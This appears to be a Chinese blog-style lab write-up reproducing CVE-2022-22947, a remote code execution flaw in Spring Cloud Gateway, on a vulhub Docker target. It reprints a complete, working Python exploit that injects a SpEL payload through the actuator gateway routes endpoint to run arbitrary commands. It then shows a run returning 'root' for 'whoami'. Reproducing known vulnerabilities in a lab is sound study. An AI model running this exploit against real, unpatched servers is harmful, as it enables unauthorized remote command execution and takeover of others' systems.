cve-2022-22947漏洞复现（Spring Cloud Gateway 远程代码执行漏洞）

此次环境部署在docker环境中，亲测有效

更新vulhub

git pull

切换到/spring/cve-2022-22947目录

cd /spring/cve-2022-22947

┌──(root💀kali)-[/home/kali/vulhub]
└─# cd spring

┌──(root💀kali)-[/home/kali/vulhub/spring]
└─# ls
	CVE-2016-4977  CVE-2017-4971  CVE-2017-8046  CVE-2018-1270  CVE-2018-1273  CVE-2022-22947
┌──(root💀kali)-[/home/kali/vulhub/spring]
└─# cd CVE-2022-22947
┌──(root💀kali)-[/home/kali/vulhub/spring/CVE-2022-22947]
└─# docker-compose up -d      //拉取漏洞环境
	cve-2022-22947_spring_1 is up-to-date

┌──(root💀kali)-[/home/kali/vulhub/spring/CVE-2022-22947]
└─# docker-compose up -d    //查看靶场环境开启
	Starting cve-2022-22947_spring_1 ... done

使用python写payload进行测试(大神的！！！

# Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://spring.io/
# Software Link: https://spring.io/projects/spring-cloud-gateway
# Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1
# Tested on: 3.1.0
# CVE : CVE-2022-22947

import random
import string
import requests
import json
import sys
import urllib.parse
import base64

headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'}

id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))

def exploit(url, command):
    
    payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"}
    
    commandb64 =base64.b64encode(command.encode('utf-8')).decode('utf-8')      #将输入的命令进行base64编码

    rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), verify=False)
    if(rbase.status_code == 201):
        print("[+] Stage deployed to /actuator/gateway/routes/"+id)
        print("[+] Executing command...")
        r = requests.post(url + '/actuator/gateway/refresh', headers=headers, verify=False)
        if(r.status_code == 200):
            print("[+] getting result...")
            r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
            if(r.status_code == 200):
                get_response = r.json()
                clean(url, id)
                return get_response['filters'][0].split("'")[1]
            else:
                print("[-] Error: Invalid response")
                clean(url, id)
                exit(1)
        else:
            clean(url, id)
            print("[-] Error executing command")

    
def clean(url, id):
    remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
    if(remove.status_code == 200):
        print("[+] Stage removed!")
    else:
        print("[-] Error: Fail to remove stage")

def banner():
    print("""
    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    """)

def main():
    banner()
    if len(sys.argv) != 3:
        print("[-] Error: Invalid arguments")
        print("[-] Usage: python3 exploit.py <url> <command>")
        exit(1)
    else:
        url = sys.argv[1]
        command = sys.argv[2]
        print(exploit(url, command))
if __name__ == '__main__':
    main()

执行该脚本，并进行命令执行。

┌──(root💀kali)-[/home/kali/vulhub/spring/CVE-2022-22947]
└─# python3 CVE-2022-22947.py http://192.168.2.129:8080 'whoami'                       //’whoami‘代码执行  

root //代码执行后获取结果

完毕！！！